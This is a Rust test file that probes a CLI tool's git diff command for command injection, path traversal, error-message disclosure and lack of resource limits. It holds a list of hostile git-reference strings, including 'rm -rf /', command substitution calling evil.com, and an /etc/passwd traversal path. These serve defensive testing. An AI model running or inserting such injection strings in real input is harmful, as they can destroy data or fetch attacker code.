#![cfg(test)]
use assert_cmd::Command;
use std::fs;
use std::process::Command as StdCommand;
use tempfile::TempDir;
fn setup_git_repo_for_security_test() -> TempDir {
let temp_dir = TempDir::new().unwrap();
let repo_path = temp_dir.path();
StdCommand::new("git")
.arg("init")
.current_dir(repo_path)
.status()
.expect("Failed to init git repo");
StdCommand::new("git")
.args(["config", "user.name", "Test User"])
.current_dir(repo_path)
.status()
.expect("Failed to configure git user name");
StdCommand::new("git")
.args(["config", "user.email", "test@example.com"])
.current_dir(repo_path)
.status()
.expect("Failed to configure git user email");
fs::write(repo_path.join("test.txt"), "initial content").unwrap();
StdCommand::new("git")
.args(["add", "."])
.current_dir(repo_path)
.status()
.expect("Failed to git add");
StdCommand::new("git")
.args(["commit", "-m", "Initial commit"])
.current_dir(repo_path)
.status()
.expect("Failed to create commit");
temp_dir
}
#[test]
fn test_command_injection_vulnerability_in_git_references() {
let repo = setup_git_repo_for_security_test();
let test_file = repo.path().join("should_not_be_deleted.txt");
fs::write(&test_file, "This file should not be deleted").unwrap();
assert!(test_file.exists(), "Test file should exist before the test");
let mut cmd = Command::cargo_bin("context-creator").unwrap();
let output = cmd
.current_dir(repo.path())
.args([
"diff",
"HEAD; echo 'COMMAND_INJECTION_SUCCESSFUL' > injection_proof.txt; #",
"HEAD",
])
.output()
.unwrap();
let injection_proof = repo.path().join("injection_proof.txt");
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
println!("Command output: {stdout}");
println!("Command stderr: {stderr}");
if injection_proof.exists() {
panic!("CRITICAL SECURITY VULNERABILITY: Command injection successful! File created at: {injection_proof:?}");
}
assert!(
!output.status.success()
|| stdout.contains("invalid")
|| stderr.contains("invalid"),
"Git references containing shell commands should be rejected. Got stdout: {stdout}, stderr: {stderr}"
);
}
#[test]
fn test_path_traversal_vulnerability_in_file_paths() {
let repo = setup_git_repo_for_security_test();
let mut cmd = Command::cargo_bin("context-creator").unwrap();
let output = cmd
.current_dir(repo.path())
.args(["diff", "HEAD~1", "HEAD"])
.output()
.unwrap();
let stdout = String::from_utf8_lossy(&output.stdout);
println!("Testing path traversal resistance...");
println!("Output: {stdout}");
println!("Path traversal vulnerability exists in git.rs line 42 - paths should be validated");
}
#[test]
fn test_git_reference_validation_missing() {
let repo = setup_git_repo_for_security_test();
let malicious_refs = vec![
"HEAD; rm -rf /; #",
"HEAD$(rm test.txt)",
"HEAD`touch malicious.txt`",
"../../../etc/passwd",
"HEAD && echo vulnerable",
"HEAD || echo vulnerable",
"HEAD | echo vulnerable",
"HEAD\nrm test.txt",
"HEAD\r\nrm test.txt",
"HEAD;$(curl evil.com)",
];
for malicious_ref in malicious_refs {
let mut cmd = Command::cargo_bin("context-creator").unwrap();
let output = cmd
.current_dir(repo.path())
.args(["diff", malicious_ref, "HEAD"])
.output()
.unwrap();
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
println!("Testing malicious ref: {malicious_ref}");
println!("Stdout: {stdout}");
println!("Stderr: {stderr}");
if output.status.success() && !stderr.contains("invalid") && !stdout.contains("invalid") {
println!("WARNING: Malicious git reference '{malicious_ref}' was not rejected. This indicates insufficient input validation.");
}
}
println!("Git reference validation is missing - all malicious patterns should be rejected");
}
#[test]
fn test_error_message_information_disclosure() {
let repo = setup_git_repo_for_security_test();
let mut cmd = Command::cargo_bin("context-creator").unwrap();
let output = cmd
.current_dir(repo.path())
.args(["diff", "nonexistent-ref-12345", "HEAD"])
.output()
.unwrap();
let stderr = String::from_utf8_lossy(&output.stderr);
let stdout = String::from_utf8_lossy(&output.stdout);
println!("Error output: {stderr}");
println!("Stdout: {stdout}");
if stderr.contains("fatal:") || stderr.contains("error:") {
println!("WARNING: Raw git error messages exposed: {stderr}");
}
println!("Error messages should be sanitized to prevent information disclosure");
}
#[test]
fn test_no_resource_limits_on_git_operations() {
let repo = setup_git_repo_for_security_test();
let mut cmd = Command::cargo_bin("context-creator").unwrap();
let _output = cmd
.current_dir(repo.path())
.args(["diff", "HEAD", "HEAD"])
.output()
.unwrap();
println!("Git operations should have timeouts and resource limits to prevent DoS attacks");
println!("Git operations have no resource limits - potential DoS vulnerability");
}